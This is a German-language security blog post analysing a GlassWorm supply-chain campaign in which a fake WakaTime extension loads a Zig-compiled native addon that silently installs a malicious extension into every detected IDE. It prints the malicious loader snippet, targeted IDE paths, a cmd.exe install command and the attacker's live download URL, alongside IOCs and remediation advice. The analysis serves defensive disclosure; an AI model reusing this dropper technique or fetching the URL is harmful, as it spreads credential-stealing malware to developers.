Aikido

GlassWorm wird nativ: Neuer Zig-Dropper infiziert jede IDE auf Ihrem System

Verfasst von
Ilyas Makari

Wir verfolgen GlassWorm seit über einem Jahr. Es tauchte erstmals im März 2025 auf, als Aikido bösartige npm-Pakete entdeckte, die Payloads in unsichtbaren Unicode-Zeichen versteckten. Die Kampagne hat sich seitdem wiederholt ausgeweitet und Hunderte von Projekten auf GitHub, npm und VS Code kompromittiert, und lieferte zuletzt einen persistenten RAT über eine gefälschte Chrome-Erweiterung, die Tastenanschläge protokollierte und Session-Cookies abgriff. Die Gruppe entwickelt sich ständig weiter und hat gerade einen bedeutenden Sprung gemacht.

Wir haben diese neue Technik in einer OpenVSX-Erweiterung namens code-wakatime-activity-tracker beobachtet. Die Erweiterung imitiert WakaTime, das beliebte Tool zur Zeiterfassung für Entwickelnde, und liefert ein mit Zig kompiliertes natives Binary zusammen mit ihrem JavaScript-Code aus. Dies ist nicht das erste Mal, dass GlassWorm auf die Verwendung von nativ kompiliertem Code in Erweiterungen zurückgreift. Anstatt das Binary jedoch direkt als Payload zu verwenden, dient es als heimliche Indirektion für den bekannten GlassWorm-Dropper, der nun heimlich alle anderen IDEs infiziert, die er auf Ihrem System finden kann.

Der Dropper: eine trojanisierte Erweiterung

Die Erweiterung code-wakatime-activity-tracker, veröffentlicht auf OpenVSX, ist oberflächlich betrachtet nahezu identisch mit der legitimen WakaTime-Erweiterung: gleiche Befehlsregistrierungen, gleiche API-Schlüssel-Abfragen, gleiche Statusleisten-Symbole. Die Abweichung tritt an einer Stelle auf: der activate() Funktion.

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Bevor die WakaTime-Logik ausgeführt wird, lädt die Erweiterung ein natives Binary aus dem ./bin/ Verzeichnis, das zusammen mit der Erweiterung gebündelt ist, und ruft sofort install(). Unter Windows ist dies win.node, eine PE32+ DLL. Unter macOS ist es mac.node, ein universelles Mach-O, das sowohl x86_64 als auch arm64 abdeckt. Dies sind native Node.js-Addons: kompilierte Shared Libraries, die direkt in die Node-Laufzeit geladen werden und außerhalb der JavaScript-Sandbox mit vollem OS-Zugriff ausgeführt werden. Beide sind in Zig geschrieben. Das macOS-Binary wurde mit intakten Debug-Symbolen kompiliert, was einen Projektpfad offenbart /Users/davidioasd/Downloads/vsx_installer_zig.

Jede IDE auf dem System infizieren

Nach dem Laden besteht die erste Aufgabe des Binärprogramms darin, jede auf dem System installierte IDE zu finden, die das VS Code-Erweiterungsformat unterstützt. Anschließend installiert es stillschweigend eine bösartige Erweiterung in jede gefundene IDE.

Windows (aus win.node):

%LOCALAPPDATA%\Programme\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programme\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programme\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programme\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programme\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programme\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

macOS (von mac.node):

/Programme/Visual Studio Code.app/Inhalt/Ressourcen/app/bin/code
/Programme/Visual Studio Code - Insiders.app/.../code-insiders
/Programme/Cursor.app/Inhalt/Ressourcen/app/bin/cursor
/Programme/Windsurf.app/Inhalt/Ressourcen/app/bin/windsurf
/Programme/VSCodium.app/Inhalt/Ressourcen/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positron

Dies ist kein reiner VS Code-Angriff: Er betrifft das gesamte Ökosystem von Editoren, die dasselbe Erweiterungssystem nutzen: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium und Positron. Eine Entwickelnde, die Cursor als primären Editor verwendet, aber auch VS Code installiert hat, würde feststellen, dass beide kompromittiert sind.


Nachdem die IDE-Liste erstellt wurde, lädt die Binärdatei eine bösartige .vsix von einer vom Angreifer kontrollierten GitHub Releases-Seite:

https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Das Paket imitiert steoates.autoimport, eine legitime und beliebte VS Code-Erweiterung mit Millionen von Installationen. Die heruntergeladene .vsix wird in einen temporären Pfad geschrieben und dann stillschweigend in jede im vorherigen Schritt gefundene IDE installiert, unter Verwendung des jeweiligen CLI-Installers des Editors. Unter Windows läuft dies über cmd.exe:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Nach der Installation, cleanupVsix löscht die heruntergeladene Datei, um die Spuren zu verwischen.

Die Erweiterung der zweiten Stufe

Die zwangsinstallierte .vsix ist derselbe GlassWorm-Dropper, den wir eingehend verfolgt und analysiert haben. Er grenzt russische Systeme geografisch ein, sendet Beacons an ein Solana-Blockchain-basiertes C2, und in unserer früheren Analyse fanden wir heraus, dass er Secrets exfiltriert und einen persistenten RAT installiert, einschließlich einer bösartigen Chrome-Erweiterung.

Wie Aikido dies erkennt

Wenn Sie installiert haben specstudio/code-wakatime-activity-tracker oder sehen floktokbok.autoimport in einer Ihrer IDE-Erweiterungslisten, behandeln Sie Ihre Maschine als kompromittiert und rotieren Sie alle Secrets, auf die zugegriffen werden konnte.

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, fängt npm-, npx-, yarn-, pnpm- und pnpx-Befehle ab und überprüft Pakete vor der Installation mit Aikido Intel.

IOCs

Erweiterungen

  • specstudio/code-wakatime-activity-tracker (trojanisierte OpenVSX-Erweiterung)
  • autoimport-2.7.9 (Implantat der zweiten Stufe in IDEs)

Dateien

  • win.node innerhalb des ./bin/-Verzeichnisses jeder VS Code-Erweiterung
    • SHA-256: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
  • mac.node innerhalb des ./bin/-Verzeichnisses jeder VS Code-Erweiterung
    • SHA-256: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Netzwerk

  • https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Strings

  • vsx_installer_zig (Zig-Projektname im macOS-Binary gefunden)
  • davidioasd (Benutzername im macOS-Binary gefunden)
Teilen:

https://www.aikido.dev/blog/glassworm-zig-dropper-infects-every-ide-on-your-machine

Nachrichten abonnieren

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten
Scannen Sie Ihre Repos nach GlassWorm-Angriffen

Von 100.000 Teams vertraut

Kostenlos starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.